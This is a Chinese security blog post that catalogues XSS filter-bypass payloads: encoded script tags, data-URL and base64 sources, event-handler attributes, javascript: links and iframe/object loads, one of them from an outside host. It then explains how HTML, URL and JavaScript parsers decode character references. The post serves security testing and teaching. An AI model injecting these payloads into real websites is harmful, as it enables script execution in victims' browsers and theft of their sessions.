XSS----一些方法

最新推荐文章于 2026-05-01 12:52:00 发布
原创 最新推荐文章于 2026-05-01 12:52:00 发布 · 1.3k 阅读 · 4 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文详细探讨了XSS攻击的各种绕过方法，包括标签的使用如script标签的src属性通过dataurl协议，String.fromCharCode，setTimeout等。还介绍了a标签的事件与href属性利用，表单的button和onsubmit，以及图片、body滚动条、iframe的src等。同时，文章讲解了利用字符编码的技巧，如HTML、URL和JavaScript中的hex, unicode, ascii解析规则，深入解析浏览器如何处理字符实体，避免脚本执行。" 54911669,4997973,深入剖析backbone源码：模块化、事件系统与设计模式,"['backbone', '前端框架', '设计模式', '源码分析']

参考https://blog.csdn.net/qq_29277155/article/details/51320064

0x01.标签绕过

1 script篇

方法：

1.1 ascii标识符

<script>\u0061\u006C\u0065\u0072\u0074(88199)</script>

1.2…标签的src属性---------dataurl 协议

 <script src=data:text/javascript,alert(88199)></script>
    
<script src=&#100&#97&#116&#97:text/javascript,alert(88199)></script>

<script src=data:text/html;base64,YWxlcnQoMSk=></script>

base64-----------alert(1)

1.3.String.fromCharCode

1.4.setTimeout

## <script>setTimeout(alert(88199),0)</script>

1.5.普通方式

<script>alert(navigator.userAgent)<script>
<script>alert(88199)</script>
<script>confirm(88199)</script>
<script>prompt(88199)</script>

<script>+alert(88199)</script>
<script>alert(/88199/)</script>

<script>alert(/88199/.source)</script>

0x02、a标签运用

1.事件

<anytag οnmοuseοver=alert(15)>M
<anytag οnclick=alert(16)>M
<a οnmοuseοver=alert(17)>M
<a οnclick=alert(18)>M

2.href属性

<a href=javascript:alert(19)>M
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>
base64--------------------<script>alert(1)</script>
aa
</a>

0x03、表单

1.按钮

<button/οnclick=alert(20)>M

<form><button  formaction=javascript&colon;alert(21)>M

 <input οnfοcus=alert(33) autofocus>

**离开动作**
<input οnblur=alert(34) autofocus><input autofocus>

2.表单 action,onsubmit

<form/action=javascript:alert(22)><input/type=submit>


<form οnsubmit=alert(23)><button>M
<form οnsubmit=alert(23)><button>M

4、图像

<img src=x οnerrοr=alert(24)> 29

5、body标签

<body/οnlοad=alert(25)>

5.1 滚动条

<body
οnscrοll=alert(26)><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<input autofocus>

6、iframe

1.src

<iframe src="http://0x.lv/xss.swf"></iframe>

<iframe/οnlοad=alert(document.domain)></iframe>

<IFRAME SRC="javascript:alert(29);"></IFRAME>
<IFRAME SRC=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></IFRAME>

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>

0x02.利用字符编码–利用浏览器解析机制

参考http://bobao.360.cn/learning/detail/292.html

1.url、html、js----hex,unicode,ascii

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1.1html解析规则

在这里插入图片描述

1.1.1 有三种情况可以容纳字符实体：

1.“数据状态中的字符引用”
2.“RCDATA状态中的字符引用”
3.“属性值状态中的字符引用”。

在这些状态中HTML字符实体将会从“&#…”形式解码，对应的解码字符会被放入数据缓冲区中。

####1
在问题4中，< 、 **>**字符被编码为&#60;和&#62;。

当解析器解析完“

”并处于“数据状态”时，这两个字符将会被解析。当解析器 遇到“&”字符，它会知道这是“数据状态的字符引用”，因此会消耗一个字符引用（例如“<”）并释放出对应字符的token。在这个例子中，对应字符指的是“<”和“>”。

读者可能会想：这是不是意味着“<”和“>”的token将会被理解为标签的开始和结束，然后其中的脚本会被执行？

答案是脚本并不会被执行。原因是解析器在解析这个字符引用后不会转换到“标签开始状态”。

正因为如此，就不会建立新标签。因此，我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”。

在这里插入图片描述

1.1.2RCDATA状态中的字符引用

这意味着在<textarea>和<title>标签中的字符引用会被HTML解析器解码。

这里要再提醒一次，在解析这些字符引用的过程中不会进入“标签开始状态”。

这样就可以解释问题5了。另外，对RCDATA有个特殊的情况。在浏览器解析RCDATA元素的过程中，解析器会进入“RCDATA状态”。

在这个状态中，如果遇到“<”字符，它会转换到“RCDATA小于号状态”。如果**“<”字符后没有紧跟着“/”和对应的标签名**，解析器会转换回“RCDATA状态”。

这意味着在RCDATA元素标签的内容中（例如<textarea>或<title>的内容中），唯一能够被解析器认做是标签的就是“</textarea>”或者“</title>”。

当然，这要看开始标签是哪一个。因此，在“<textarea>”和“<title>”的内容中不会创建标签，就不会有脚本能够执行。这也就解释了为什么问题6中的脚本不会被执行。

1.2URL解析

1.首先，URL资源类型必须是ASCII字母（U+0041-U+005A || U+0061-U+007A），不然就会进入“无类型”状态,该原则对协议后面的“：”（冒号）同样适用。

这就是为什么问题1中的代码不能被执行。因为URL中被编码的“javascript”没有被解码，因此不会被URL解析器识别。

问题3也得到解答

在这里插入图片描述
2.为什么问题2中的脚本被执行了呢？如果你记得我们在HTML解析部分讨论的内容的话，是否还记得有一个情况叫做“属性值中的字符引用”，在这个情况中字符引用会被解码。

1.3JavaScript 解析

1.开始之前，让我们来回到HTML解析过程中的“原始文本”元素。我故意将HTML中的一部分留到这个章节是因为它与JavaScript解析有关。所有的“script”块都属于“原始文本”元素。“script”块有个有趣的属性：在块中的字符引用并不会被解析和解码。

2.那像“\uXXXX”（例如\u0000,\u000A）这样的字符呢，JavaScript会解析这些字符来执行吗？简单的说：视情况而定。

具体的说就是要看被编码的序列到底是哪部分。首先，像\uXXXX一样的字符被称作Unicode转义序列。从上下文来看，你可以将转义序列放在3个部分：字符串中，标识符名称中和控制字符中。

2.1字符串中：
当Unicode转义序列存在于字符串中时，它只会被解释为正规字符.

而不是单引号，双引号或者换行符这些能够打破字符串上下文的字符。

这项内容清楚地写在ECMAScript中。因此，Unicode转义序列将永远不会破环字符串上下文，因为它们只能被解释成字符串常量。

2.2标识符名称中
当Unicode转义序列出现在标识符名称中时，它会被解码并解释为标识符名称的一部分，例如函数名，属性名等等。这可以用来解释问题10。

2.3控制字符:
当用Unicode转义序列来表示一个控制字符时，例如单引号、双引号、圆括号等等，它们将不会被解释成控制字符，而仅仅被解码并解析为标识符名称或者字符串常量。

在这里插入图片描述

编码流程：

字符—》非ascii码字符十六进制（html编码，gbk,utf-8）---->%（url编码）------>十六进制（url解码）(html解码)--------》字符

【XSS漏洞-03】XSS漏洞语句构造和绕过方法实例
m0_64378913的博客
05-14 4955
目录1 XSS语句构造方式1.1 第一种：利用[<>]构造HTML/JS语句1.2 第二种：利用javascript:伪协议1.3 第三种：事件驱动1.4 第四种：利用CSS（层叠样式脚本）1.5 其他标签及手法2 XSS语句变形及绕过2.1 第一种：大小写混编2.2 第二种：**双写绕过**。2.3 第三种：**引号的使用**2.4 第四种：使用 [/] 代替空格2.5 第五种：在一些关键字内插入回车符与Tab符2.6 第六种：编码绕过2.7 第七种：拆分跨站2.8
web安全的常见问题分析之XSS攻击
浮生离梦的博客
09-20 621
一、XSS攻击 1. XSS XSS(Cross-Site Scripting，跨站脚本攻击)是一种代码注入攻击，攻击者在目标网站上注入恶意代码，当被攻击者登陆网站时就会执行这些恶意代码，这些脚本可以读取 cookie，session tokens，或者其它敏感的网站信息，对用户进行钓鱼欺诈，甚至发起蠕虫攻击等 2. XSS 的本质 恶意代码未经过滤，与网站正常的代码混在一起；浏览器无法分辨哪些脚...
防止XSS攻击封装
weixin_30682415的博客
08-12 484
<?php if (!function_exists('remove_xss')) { //使用htmlpurifier防范xss攻击 function remove_xss($string){ //composer安装的，不需要此步骤。相对index.php入口文件，引入HTMLPurifier.auto.php核心文件 // ...
常见Web安全漏洞防护
最新发布
qq_26394753的博客
05-01 471
本文系统介绍了Web应用常见安全漏洞及防护方案。主要内容包括：1）OWASP Top 10安全风险概览，重点分析访问控制失效、加密失败、注入等高风险漏洞；2）构建多层次防护体系，涵盖应用层防护（输入验证、输出编码等）、基础设施安全（HTTPS、WAF等）和运维监控；3）详细解析XSS攻击原理与类型（存储型、反射型、DOM型），提供Spring Security配置方案和HTML转义工具类实现。文章通过图表和代码示例直观展示漏洞原理和防御措施，帮助开发者构建安全可靠的Web应用系统。
XSS绕过总结
热门推荐
qq_42990434的博客
05-29 1万+
有时候明明有一个xss漏洞，但是却有xss过滤规则或者WAF保护导致我们不能成功的利用，这些会屏蔽掉我们的代码，会导致我们执行完代码之后什么反应都没有，这时候我们可以审查一下元素，看看我们的代码有没有替换为空，或者替换成其他东西，或者那些符号被过滤掉了。 比如：我们输入<script> alert（“hi”) </scrip>, 会被转换成<script> alert（>xss detected<) </scrip>,这样的话我们的js语句就不生效
XSS跨站脚本攻击
m0_75246264的博客
11-21 757
一、XSS属于客户端攻击，受害者最终是用户，但特别要注意的是网站管理人员也属于用户之一。这就意味着XSS可以进行“服务端”攻击，因为管理员要比普通用户的权限大得多，一般管理员都可以对网站进行文件管理，数据管理等操作，而攻击者一般也是靠管理员身份作为“跳板”进行实施攻击。XSS的重点不在于跨站点，而在于脚本的执行。那么XSS的原理是：恶意攻击者在web页面中会插入一些恶意的script代码。
xss漏洞练习
2301_81142776的博客
03-21 1415
从 URL 中获取 markassbrownlee 参数的值（例如 https://example.com/markassbrownlee=Hello）。new URL(location).searchParams.get('somebody'):从当前页面的 URL 查询参数中获取 somebody 的值。对用户输入进行严格的过滤和转义，确保特殊字符（如 `<`, `>`, `&`, `"`, `'` 等）被正确转义。从 URL 中获取 wey 参数的值（例如 https://example.com/?
XSS攻击(2), XSS分类, 测试方法, 防御方法, 绕过方法
探测???
10-18 2362
例如，如果一个论坛的帖子内容没有经过适当的过滤和转义，攻击者可以发布一个带有恶意脚本的帖子，当其他用户查看该帖子时，恶意脚本会在他们的浏览器中执行。对于XSS的不同类型，使用的渗透测试方法可能会有所不同。：与反射型XSS相似，尝试插入恶意载荷，但在这里，您希望这些载荷能够被存储并在后续的请求中再次呈现给用户。：查找应用程序中的所有地方，可以提交数据并在其他地方再次显示这些数据，例如评论、论坛帖子、用户资料等。恶意脚本被存储在目标服务器上（例如，数据库中），当其他用户访问某些页面时，脚本会被加载并执行。
常见XSS攻击方法
商务合作 | 面试培训 | 职场规划 ==>主页扫码
03-20 6011
一、什么是XSS? XSS全称是Cross Site Scripting即跨站脚本，当目标网站目标用户浏览器渲染HTML文档的过程中，出现了不被预期的脚本指令并执行时，XSS就发生了。 这里我们主要注意四点：1、目标网站目标用户；2、浏览器；3、不被预期；4、脚本。 二、XSS有什么危害？ 当我们知道了什么是XSS后，也一定很想知道它到底有什么用，或者有什么危害，如何防御。 关于XSS有...
XSS攻击绕过方法大全，XSS攻击技巧，收集100种绕过方法分享（2024最新）
白帽黑客八哥的博客
12-12 1万+
尽管许多网站实施了输入过滤措施来防止跨站脚本（XSS）攻击，但在特定条件下，经过精心编码的脚本仍有可能实施XSS注入。本文旨在为专业的安全测试人员提供一个跨站脚本漏洞的检测指南。
xss绕过方法有哪些？XSS攻击绕过过滤方法技巧分享（xss绕过宝塔）
白帽子佳奇的博客
12-12 7868
XSS（跨站脚本攻击）绕过方法是一系列技巧，用来绕过目标网站的安全措施和过滤器，执行恶意的脚本。
xss学习
2302_79119987的博客
03-26 698
单引号（'）双引号（"）反斜杠（\）NULLhtmlspecialchars() 函数& （和号）成为 &" （双引号）成为 "' （单引号）成为 '< （小于）成为 <> （大于）成为 >提示：如需把特殊的 HTML 实体转换回字符，请使用函数。因此考虑在name中进行注入。
xss-挑战
weixin_43610673的博客
03-14 211
0x00 <script>alert(1)</script> 0x01 </textarea><script>alert(1)</script> 0x02 "><script>alert(1)</script> 0x03 无括号，使用模板字符串绕过 <script>alert`1`</scr...
js知识点
qq_67263268的博客
04-11 258
setTimeout() 方法 setTimeout（“参数1”, “参数2"） 延迟时间 参数1：待执行的js代码串或调用的函数 参数2：延迟时间，单位毫秒ms 参数说明： 1.代码：要调用的函数或要执行的代码串 2.延迟时间：在执行代码前需要等待的时间，以毫秒为单位（1s=1000ms) 返回值： 一个可以传递给clearInterval()从而取消对“代码”的周期性执行的值 clearInterval/clearTimeout计时器结束 例如： 字符串对象 创建String对...
xss漏洞挖掘与绕过学习总结
qq_40529133的博客
04-16 2519
xss漏洞普遍存在于数据交互的地方，像常见的登录，搜索，留言，评论等用户可以输入的地方。 挖掘xss大体上可以分为两种： 一，手动挖掘 二，利用工具自动化挖掘 一，手工挖掘 利用火狐中常见的XSS 调试插件： Hackbar； Firebar； Tamper Data； （1）Hackbar：比较常用的测试插件，支持post，get两种请求方式。 (1),可以对我们的字符串进行编码：像常见的&lt...
js 前端处理xss攻击，对危险的字符串进行过滤
PrimaryColor
04-01 6845
es6： npm install xss --save 这里测试使用的是es5，下载链接： https://download.csdn.net/download/qq_42740797/16291859 https://raw.githubusercontent.com/leizongmin/js-xss/master/dist/xss.js（过滤的比较严重，将html的所有属性都给过滤了） 调用函数： function filterXSS(string) html: <!.
xss跨站脚本攻击
m0_67265464的博客
03-06 337
概述： 主要指攻击者可以再页面中插入恶意脚本代码，当受害者访问这些页面时，浏览器会解析并执行这些恶意代码，从而达到窃取用户身份、钓鱼、传播恶意代码和控制用户浏览器等行为 产生原因： 由于web程序对用户的输入过滤不足、，导致用户输入的恶意HTML/Javascript 代码注入到网页中，混淆原有语义，产生新的恶意语句。在其他用户访问网页时，浏览器就会触发恶意的网页代码，从而达到XSS攻击的目的 分类： 反射型：恶意代码并没有保存在目标网站，通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击 输入： 输
vue中使用v-html防止xss注入
aGreetSmile的博客
06-25 2476
通常我们处理xss攻击会使用一个xss的npm包来过滤xss攻击代码。所以我们要做的就是给指令的value包上一层xss函数。这样我们就能覆盖html指令。这样我们就从源头解决了html指令存在的潜在xss攻击。3.在vue.config.js中覆写html指令。2.引入xss包并挂载到vue原型上。解决html指令存在的xss漏洞问题。
XSS漏洞及分析
m0_69435261的博客
09-01 553
XSS（跨站脚本）漏洞是一种常见的网络安全漏洞，它允许攻击者在受害者的网页上注入恶意脚本代码。当受害者访问被注入的网页时，恶意脚本会在受害者的浏览器中执行，从而导致攻击者能够窃取用户的敏感信息、劫持用户会话、修改网页内容等恶意行为。XSS漏洞通常发生在Web应用程序中，其中用户的输入没有经过充分的过滤或转义处理，而是直接插入到网页的HTML代码中。攻击者可以利用这个漏洞，通过在用户输入中注入恶意脚本来执行各种攻击。
XSS(跨站脚本攻击)详解
hello
07-02 4656
XSS简述-XSS类型-XSS常用标签
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值